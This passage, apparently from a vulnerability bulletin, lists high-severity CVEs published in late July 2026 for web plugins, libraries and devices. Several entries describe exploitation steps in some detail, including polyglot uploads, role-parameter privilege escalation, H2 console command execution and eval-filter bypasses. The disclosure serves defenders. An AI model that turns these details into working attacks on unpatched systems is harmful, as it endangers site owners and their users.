| Red Hat--Red Hat OpenShift Virtualization 4      | In containerized-data-importer (CDI), the aggregated cdi.kubevirt.io:view ClusterRole, intended to provide read-only access to CDI resources, includes a rule granting create on the datavolumes/source subresource. CDI's DataVolume clone authorization accepts this permission as sufficient to authorize cloning the contents of any PVC the caller can name, without requiring write access to the source namespace. A user or service account bound to the view role, commonly granted cluster-wide via ClusterRoleBinding, who also has ordinary write access (edit/admin) to any single namespace, can use this to exfiltrate the contents of any PVC in the cluster into a namespace they control, bypassing namespace isolation and the read-only guarantee of the view role.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 7.7        | <a href="#">CVE-2026-17527</a> |
| Red Hat--Red Hat Quay 3                          | A flaw was found in Quay. A user configured in GLOBAL_READONLY_SUPER_USERS is able to view robot account tokens for repositories they are not a member of, allowing an attacker with read-only superuser privileges to impersonate any robot account.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-29 | 7.2        | <a href="#">CVE-2026-18255</a> |
| redaxo--core                                     | REDAXO is a PHP-based content management system. From 5.18.2 until 5.21.1, rex_mediapool::isAllowedExtension in redaxo/src/addons/mediapool/lib/mediapool.php lets an authenticated backend user with media[upload] permission upload a JPEG/PHP polyglot named shell.php.any.jpg, which web servers with multi-extension PHP handlers can execute as the web-server user. This issue is fixed in version 5.21.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-31 | 7.5        | <a href="#">CVE-2026-53599</a> |
| RedHatInsights--yggdrasil-worker-package-manager | A flaw was found in yggdrasil-worker-package-manager. A local attacker with existing access to the system could exploit an argument injection vulnerability in the APT backend. This allows specially crafted package names, which begin with a hyphen, to be misinterpreted as command options by apt-get. Successful exploitation could lead to remote code execution (RCE) with root privileges, enabling the attacker to fully compromise the system's integrity, confidentiality, and availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-31 | 7.8        | <a href="#">CVE-2026-18157</a> |
| RexTheme--Product Feed Manager                   | Unauthenticated Cross Site Scripting (XSS) in Product Feed Manager <= 7.6.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 7.1        | <a href="#">CVE-2026-59553</a> |
| Rich Source--DMS+ (Non-Mobile)                   | DMS+ (Non-Mobile) developed by Rich Source has a Use of Hard-coded Credentials vulnerability. Unauthenticated remote attackers can exploit a fixed API key to gain control over all installed DMS+ devices.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-31 | 10         | <a href="#">CVE-2026-18452</a> |



# High Vulnerabilities

| Primary Vendor -- Product                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| RomanCode--MapSVG                                                             | Unauthenticated SQL Injection in MapSVG <= 8.14.0 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 9.3        | <a href="#">CVE-2026-59527</a> |
| Roxnor--GetGenie                                                              | Unauthenticated Cross Site Scripting (XSS) in GetGenie <= 4.4.3 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65440</a> |
| rtCamp--rtMedia for WordPress, BuddyPress and bbPress                         | Unauthenticated SQL Injection in rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 9.3        | <a href="#">CVE-2026-59549</a> |
| rtCamp--rtMedia for WordPress, BuddyPress and bbPress                         | Subscriber SQL Injection in rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 8.5        | <a href="#">CVE-2026-59551</a> |
| Ruben Garcia--GamiPress                                                       | Unauthenticated SQL Injection in GamiPress <= 7.9.7 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 9.3        | <a href="#">CVE-2026-59538</a> |
| ruby-oauth--oauth                                                             | OAuth is a Ruby wrapper for the OAuth 1.0 and 1.0a protocols, providing clients and servers. From 0.5.5 to 1.1.5, OAuth::Consumer#token_request parses the raw Location header of a 300 to 399 redirect returned by the OAuth server and follows the redirect recursively, which can mutate the consumer's configuration and expose signed OAuth request metadata, including the Authorization header, to a cross-origin host. This issue is fixed in version 1.1.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-28 | 7.2        | <a href="#">CVE-2026-54605</a> |
| ruby-oauth--oauth2                                                            | OAuth2 is a Ruby wrapper for the OAuth 2.0 and 2.1 authorization frameworks, including OpenID Connect (OIDC). From 0.4.0 to 2.0.21, a protocol-relative redirect Location returned to OAuth2::Client#request overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-28 | 8.6        | <a href="#">CVE-2026-54603</a> |
| s9y--Serendipity                                                              | Serendipity before 2.6.1 contains an authentication context confusion vulnerability where password validation and session loading operate independently without ensuring both use the same user record. An authenticated Editor can create a username collision with an Administrator account and obtain administrative privileges by logging in with their own password while the session loads the Administrator's account data.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-30 | 8.8        | <a href="#">CVE-2026-67351</a> |
| saadiqbal--Wholesale for WooCommerce                                          | The Wholesale for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.0.5. This is due to the `save_requests_meta()` function applying only `sanitize_text_field()` to the `user_role_set` POST parameter before passing it directly to `WP_User::add_role()`, with no allowlist validation against permitted wholesale roles and no capability check such as `current_user_can('promote_users')` or `current_user_can('manage_options')`. This makes it possible for authenticated attackers with author-level access and above to escalate their privileges to administrator by supplying `administrator` as the `user_role_set` value in a crafted request. The function is gated only by a nonce (`request_user_role_nonce`) that is rendered in the meta box on the `wpp_requests` post edit screen; because the post type is registered with `capability_type => 'post'`, any author-level user who has authored a `wpp_requests` post - such as one created via the wholesale registration form - can access this nonce and submit the role-assignment request. | 2026-07-29 | 8.8        | <a href="#">CVE-2026-12144</a> |
| savonrb--savon                                                                | Savon is a Ruby SOAP client. From 0.9.8 until 2.17.2, Savon::Model .all_operations interpolates attacker-controlled WSDL operation names into Ruby source passed to module_eval, allowing Ruby code execution in the application process. This issue is fixed in version 2.17.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-31 | 8.1        | <a href="#">CVE-2026-53510</a> |
| Sender--Sender Newsletter, SMS and Email Marketing Automation for WooCommerce | Administrator SQL Injection in Sender - Newsletter, SMS and Email Marketing Automation for WooCommerce <= 2.10.22 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 7.6        | <a href="#">CVE-2026-59537</a> |
| Shahadat Hossain--3D Flipbook PDF Viewer & Embedder                           | Unauthenticated Server Side Request Forgery (SSRF) in 3D Flipbook PDF Viewer & Embedder <= 1.4.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-27 | 7.2        | <a href="#">CVE-2026-59552</a> |
| shiptime--ShipTime: Discounted Shipping Rates                                 | Subscriber Sensitive Data Exposure in ShipTime: Discounted Shipping Rates <= 1.1.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-27 | 7.5        | <a href="#">CVE-2026-59528</a> |
| SICK AG--InspectorP61x                                                        | An attacker may perform unauthenticated read and write operations on sensitive filesystem areas via the AppEngine Fileaccess over HTTP due to improper access restrictions. A critical filesystem directory was unintentionally exposed through the                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-28 | 9.4        | <a href="#">CVE-2026-11841</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                | HTTP-based file access feature, allowing access without authentication. This includes device parameter files, enabling an attacker to read and modify application settings, including customer-defined passwords. Additionally, exposure of the custom application directory may allow execution of arbitrary Lua code within the sandboxed AppEngine environment.                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| siyuan-note--siyuan                                                            | SiYuan desktop before v3.7.2 contains a reflected cross-site scripting vulnerability in the bazaar plugin readme handler that allows attackers to execute arbitrary code by crafting a malicious siyuan:// deep link. Attackers can inject HTML payloads via the plugin name parameter that execute with full Node.js access through insertAdjacentHTML rendering in an insecurely configured Electron renderer.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 9.6        | <a href="#">CVE-2026-66395</a> |
| siyuan-note--siyuan                                                            | SiYuan before v3.7.3 contains stored and reflected cross-site scripting vulnerabilities in SVG sanitization that allows authenticated attackers to execute scripts by bypassing the HTML parser-based cleaner. Attackers can hide script tags within desc, style, or noscript elements which the HTML parser treats as raw text but browsers interpret as executable SVG content when served as image/svg+xml, enabling script execution in the application origin.                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 8.7        | <a href="#">CVE-2026-66394</a> |
| siyuan-note--siyuan                                                            | SiYuan before v3.7.2 fails to escape the title-img Individual Attribute List value when rendering Gallery and Kanban cover images, allowing stored cross-site scripting via unescaped style attribute interpolation. Attackers with editor permissions can inject onload handlers that execute arbitrary code in the Electron renderer with full Node.js access when victims open affected documents.                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-27 | 8.4        | <a href="#">CVE-2026-66396</a> |
| smub--Easy Digital Downloads<br>eCommerce Payments and Subscriptions made easy | The Easy Digital Downloads plugin for WordPress is vulnerable to Arbitrary File Upload in versions up to and including 3.6.9. This is due to insufficient file type validation in the edd_do_ajax_import_file_upload() function , which only checks the client-supplied \$_FILES['edd-import-file']['type'] Content-Type header against an allow-list of CSV mime types, then uses raw move_uploaded_file() (bypassing wp_handle_upload()'s core MIME enforcement) to write the file under its original extension into the web-accessible wp-content/uploads/edd/exports/ directory. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. | 2026-07-29 | 7.2        | <a href="#">CVE-2026-12476</a> |
| Softtr Information Technology Trade Ltd. Co.--E-Commerce Pack                  | Cross-Site request forgery (CSRF) vulnerability in Softtr Information Technology Trade Ltd. Co. E-Commerce Pack allows Cross Site Request Forgery. This issue affects E-Commerce Pack: before 5.03.01.49.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 8.3        | <a href="#">CVE-2026-5219</a>  |
| SolarWinds--Web Help Desk                                                      | SolarWinds Web Help Desk is found to be affected by a SAML authentication bypass vulnerability. This requires the SAML 2.0 authentication method to be enabled.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 9.8        | <a href="#">CVE-2026-28323</a> |
| somta--Juggle                                                                  | Juggle through 1.6.0 contains a remote code execution vulnerability that allows unauthenticated remote attackers to execute arbitrary OS commands by connecting to the exposed H2 database web console using default shipped credentials. Attackers can access the unprotected /h2-console endpoint, authenticate with default credentials, and leverage the H2 CREATE ALIAS Runtime.exec() technique to execute arbitrary commands, resulting in root-level code execution when running the stock Docker image.                                                                                                                                                                                                                                                                          | 2026-07-30 | 9.8        | <a href="#">CVE-2026-67208</a> |
| Spring--Spring Tools for Eclipse                                               | Starting Spring Boot applications in the Spring Tools with the live information mode enabled makes the running application vulnerable against JMX-based remote code execution. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier Spring Tools for VSCode / Cursor / Theia: 2.2.0 and earlier                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 8          | <a href="#">CVE-2026-47858</a> |
| Spring--Spring Tools for Eclipse                                               | The Boot Dashboard Docker integration in Spring Tools publishes container control ports on all of the host's network interfaces (0.0.0.0) rather than restricting them to loopback. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-30 | 8          | <a href="#">CVE-2026-47873</a> |
| Spring--Spring Tools for Eclipse                                               | When enabling Spring Boot DevTools support for a remote application target (for example a Docker container or Cloud Foundry app) from the Spring Tools Boot Dashboard, Spring Tools generates a shared secret that authenticates DevTools remote-restart uploads to the deployed application. This secret was generated using a non-cryptographic pseudo-random number generator rather than a cryptographically secure source of randomness. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier                                                                                                                                                                                                                                                          | 2026-07-30 | 8.3        | <a href="#">CVE-2026-47882</a> |
| Strategy11 Team--AWP Classifieds                                               | Unauthenticated SQL Injection in AWP Classifieds <= 4.4.7 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-27 | 9.3        | <a href="#">CVE-2026-59550</a> |
| StylemixThemes--Cost Calculator Builder PRO                                    | The Cost Calculator Builder PRO plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.3 via the js_to_php function. This is due to insufficient sanitization of the orderDetails[*].originalValue                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-29 | 9.8        | <a href="#">CVE-2026-14900</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                | field, which is injected verbatim into a calculator formula string passed to PHP eval() inside js_to_php(), with the regex allow-list in evaluateFormula() only filtering alphanumeric tokens and leaving non-word punctuation characters intact. This makes it possible for unauthenticated attackers to execute code on the server. The only authentication barrier is a nonce check, but the required nonce is publicly emitted on every front-end page via the wp_head hook, making it freely obtainable by unauthenticated visitors. Payloads must be non-word XOR gadgets to bypass sanitization.                                                                                                                                                                                                                                                                                                                                                                                                               |            |            |                                |
| Subtle Web Inc--FormCraft                                                      | Unauthenticated Server Side Request Forgery (SSRF) in FormCraft <= 3.9.15 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-27 | 7.2        | <a href="#">CVE-2026-65442</a> |
| superplanehq--superplane                                                       | SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticated users with viewer-level access to one organization to access resources belonging to other organizations by supplying arbitrary canvas or queue UUIDs without organization scoping. Attackers can read cross-tenant execution history and event payloads containing sensitive secrets, write queue items and canvas events into victim organizations, delete arbitrary canvases, and disrupt automation workflows across tenant boundaries.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-28 | 8.8        | <a href="#">CVE-2026-57510</a> |
| Sylius--MolliePlugin                                                           | Sylius Mollie Plugin provides Mollie payment integration for Sylius applications. Prior to 2.2.8, 3.2.4, and 3.3.1, Sylius Mollie Plugin's POST /{_locale}/update-payment payment webhook accepts attacker-controlled id and orderId parameters but does not verify that the Mollie payment belongs to the referenced Sylius order, allowing an unauthenticated attacker with any valid paid Mollie payment ID to mark a victim order as paid without transferring funds for that order. This issue is fixed in 2.2.8, 3.2.4, and 3.3.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-30 | 7.5        | <a href="#">CVE-2026-68500</a> |
| TeamViewer--Remote                                                             | TeamViewer Full Client and Host for macOS before version 15.80 contain a business logic error that can allow an authenticated attacker to bypass a configured 2FA for Connections approval flow via Unattended Access and establish a remote connection to an affected macOS host.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-29 | 8          | <a href="#">CVE-2026-12703</a> |
| termux--proot-distro                                                           | proot-distro is a utility for managing proot containers. Prior to version 5.1.5, proot-distro install extracted plain tarball root filesystems through _extract_plain_tar() in proot_distro/commands/install.py and Docker layers through _apply_layer() in proot_distro/helpers/docker.py without validating archive-controlled symlink targets in member.linkname, allowing a malicious archive to plant an absolute host-path symlink and write files through it onto the host filesystem. This issue is fixed in version 5.1.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 8.2        | <a href="#">CVE-2026-54574</a> |
| termux--proot-distro                                                           | proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-distro restore accepted hardlink entries whose linkname referenced another installed container and did not verify that the hardlink source container matched the destination container being restored, allowing a crafted restore archive to copy files between otherwise isolated containers. This issue is fixed in version 5.1.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 8.2        | <a href="#">CVE-2026-54727</a> |
| teydeastudio--WP Password Policy                                               | The WP Password Policy plugin for WordPress is vulnerable to Privilege Escalation in all versions up to and including 3.7.1. This is due to missing authorization checks and nonce verification in the `get_user()` function of the `Module_Password_Hint` class, which unconditionally calls `WP_User::set_role()` with the attacker-supplied `role` parameter on any account resolved via `\$_POST['user_login']`, without confirming the requesting user holds the capability to assign roles. This makes it possible for authenticated attackers, with subscriber-level access and above, to escalate their own privileges to Administrator by submitting a crafted POST request - with `action` set to `createuser` and `role` set to `administrator` - to the password-reset form endpoint. The vulnerable code path is reachable via the `password_hint` filter hooked during the WordPress password-reset form render, meaning an attacker need only possess a valid password-reset cookie to reach the sink. | 2026-07-28 | 8.8        | <a href="#">CVE-2026-15992</a> |
| ThemeComplete--Extra Checkout Options - addon for Extra Product Options plugin | The Extra Checkout Options (addon for Extra Product Options & Add-Ons for WooCommerce) plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.3.2. This is due to missing authorization and nonce validation in the eco_save_settings() function, which allows low-privileged authenticated users to modify the tc_eco_custom_file_types upload allowlist setting, combined with insufficient authorization on the wc_eco_upload_file AJAX action. This makes it possible for authenticated attackers, with Subscriber-level access and above, to allow PHP uploads, upload a PHP file using the frontend upload nonce exposed on cart and checkout pages, and achieve remote code execution. NOTE: This vulnerability was partially fixed in version 2.3.2.                                                                                                                                                                                                             | 2026-07-29 | 8.8        | <a href="#">CVE-2026-14270</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Themefic-- Ultimate Addons for Contact Form 7                        | Unauthenticated Cross Site Scripting (XSS) in Ultimate Addons for Contact Form 7 <=3.5.45 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 7.1        | <a href="#">CVE-2026-65439</a> |
| themetechmount-- TrueBooker Appointment Booking and Scheduler System | The TrueBooker - Appointment Booking and Scheduler System plugin for WordPress is vulnerable to generic SQL Injection via the 'alldata[truebooker_user]' parameter in all versions up to, and including, 1.2.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The check_ajax_referer() nonce guard does not constitute an authentication or authorization barrier because the nonce is exposed to unauthenticated visitors on TrueBooker front-end booking pages; exploitation additionally requires that the required booking fields (category, service, person, date, and time slot) be present in the alldata POST parameter so that execution reaches the vulnerable SQL query branch. | 2026-07-28 | 7.5        | <a href="#">CVE-2026-13161</a> |
| Three Learning-- Koollab LMS                                         | A pre-authentication blind SQL injection vulnerability in Koollab LMS allowed an unauthenticated attacker to use a time-based SQL oracle via the SSO OAuth endpoint to read sensitive database contents, including personally identifiable information, credentials, and valid JWT tokens that may enable account takeover.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-29 | 9.1        | <a href="#">CVE-2026-63229</a> |
| Three Learning-- Koollab LMS                                         | A pre-authentication error-based SQL injection vulnerability in Koollab LMS allowed an unauthenticated attacker to read sensitive database contents, including personally identifiable information, credentials, and valid JWT tokens that may enable account takeover, via the SCORM report endpoint.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-29 | 9.1        | <a href="#">CVE-2026-63230</a> |
| Three Learning-- Koollab LMS                                         | A SQL injection and unsafe deserialisation vulnerability in Koollab LMS allowed an authenticated attacker to inject through the assessment reinforcement endpoint, control data passed to unserialize(), write a webshell to a publicly accessible location, and execute arbitrary code on the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-29 | 9.9        | <a href="#">CVE-2026-63232</a> |
| Three Learning-- Koollab LMS                                         | A SQL injection and unsafe deserialisation vulnerability in Koollab LMS allowed an authenticated attacker to inject through the assessment overall answer endpoint, control data passed to unserialize(), write a webshell to a publicly accessible location, and execute arbitrary code on the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-29 | 9.9        | <a href="#">CVE-2026-63233</a> |
| Three Learning-- Koollab LMS                                         | A SQL injection and unsafe deserialisation vulnerability in Koollab LMS allowed an authenticated attacker to inject through the manual mark assessment endpoint, control data passed to unserialize(), write a webshell to a publicly accessible location, and execute arbitrary code on the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 9.9        | <a href="#">CVE-2026-63234</a> |
| Three Learning-- Koollab LMS                                         | A post-authentication SQL injection vulnerability in Koollab LMS allowed an authenticated attacker to use an error-based SQL oracle via the face-to-face runs update endpoint to read the entire application database and obtain valid JWT tokens for account takeover.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-29 | 8.1        | <a href="#">CVE-2026-63231</a> |
| Thrive Themes Coupon--Thrive Product Manager                         | Unauthenticated Broken Access Control in Thrive Product Manager <= 10.9.2 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 7.3        | <a href="#">CVE-2026-59535</a> |
| thumbor--thumbor                                                     | Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, the ALLOWED_SOURCES configuration passes plain strings to re.match() without escaping dots, so a hostname differing at dot positions can match the allowlist. This issue is fixed in 7.8.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-31 | 8.2        | <a href="#">CVE-2026-53500</a> |
| thumbor--thumbor                                                     | Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, Thumbor's HMAC validation can be bypassed due to the use of Python's .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation. This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths. This issue is fixed in 7.8.0.                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 8.2        | <a href="#">CVE-2026-53501</a> |
| thumbor--thumbor                                                     | Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process, causing a remote denial of service. This issue is fixed in 7.8.0.                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-31 | 7.5        | <a href="#">CVE-2026-53503</a> |
| thumbor--thumbor                                                     | Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, the convolution filter regular expression performs exponential backtracking on                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-31 | 7.5        | <a href="#">CVE-2026-53504</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                 | crafted repeated numeric input, allowing a URL request to exhaust processing time. This issue is fixed in 7.8.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| thumbor--thumbor                                                                | Thumbor is an open-source photo thumbnail service by globo.com. Prior to 7.8.0, Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service. This issue is fixed in 7.8.0.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 7.5        | <a href="#">CVE-2026-53505</a> |
| tigroumeow--AI Engine The Chatbot, AI Framework & MCP for WordPress             | The AI Engine - The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.6.5 This is due to missing or incorrect nonce validation on the reauth_for_authorize function. This makes it possible for unauthenticated attackers to create new administrator accounts with attacker-supplied credentials via a CSRF-based REST authentication bypass, granted they can trick a site administrator into performing an action such as clicking on a link. This bypass can be combined with WordPress's ?_method=POST method-override support to convert a top-navigation GET request into an authenticated POST to the REST users endpoint, requiring no existing account on the attacker's part. | 2026-08-01 | 8.8        | <a href="#">CVE-2026-15988</a> |
| tomaka--rouille                                                                 | Rouille 0.3.3 through 3.6.2 contains an HTTP request smuggling vulnerability that allows remote attackers to bypass access controls by injecting bare line feed characters (0x0A) into client-supplied request header values that are copied verbatim to upstream connections without validation. Attackers can craft a header value containing a complete additional HTTP request that is interpreted as a separate request by backends such as Go net/http and Python http.server, causing the backend to process a smuggled request with attacker-chosen method, path, and headers that bypasses the rouille handler's access control logic.                                                                                                                                           | 2026-07-28 | 7.5        | <a href="#">CVE-2026-67182</a> |
| Toptech Systems--RCU II+                                                        | The RCU II+ and Multiload II+ are vulnerable to an unauthenticated service that exposes a debug interface granting full root-level access to the embedded system. This vulnerability stems from a network-accessible port running a Target Communications Framework (TCF) service that does not require any authentication, allowing an attacker to directly interact with the Linux environment that powers the device. Once connected, an attacker can freely view and modify the filesystem, manipulate running processes, and control network interfaces, enabling deep alteration of system behavior.                                                                                                                                                                                | 2026-07-30 | 8.8        | <a href="#">CVE-2026-12562</a> |
| tugcantopaloglu--openclaw-dashboard                                             | OpenClaw Dashboard v3.0.0 contains a stored cross-site scripting vulnerability that allows unauthenticated remote attackers to inject arbitrary HTML and script payloads by submitting a crafted username in a failed login POST request, which is recorded verbatim in the audit log. When an administrator opens the notification panel, the unescaped log entry is rendered via innerHTML with a permissive Content-Security-Policy allowing inline event handlers, enabling the attacker-supplied payload to execute in the administrator's session and interact with authenticated endpoints including agent instruction file editing and configuration changes.                                                                                                                     | 2026-07-30 | 9.3        | <a href="#">CVE-2026-66418</a> |
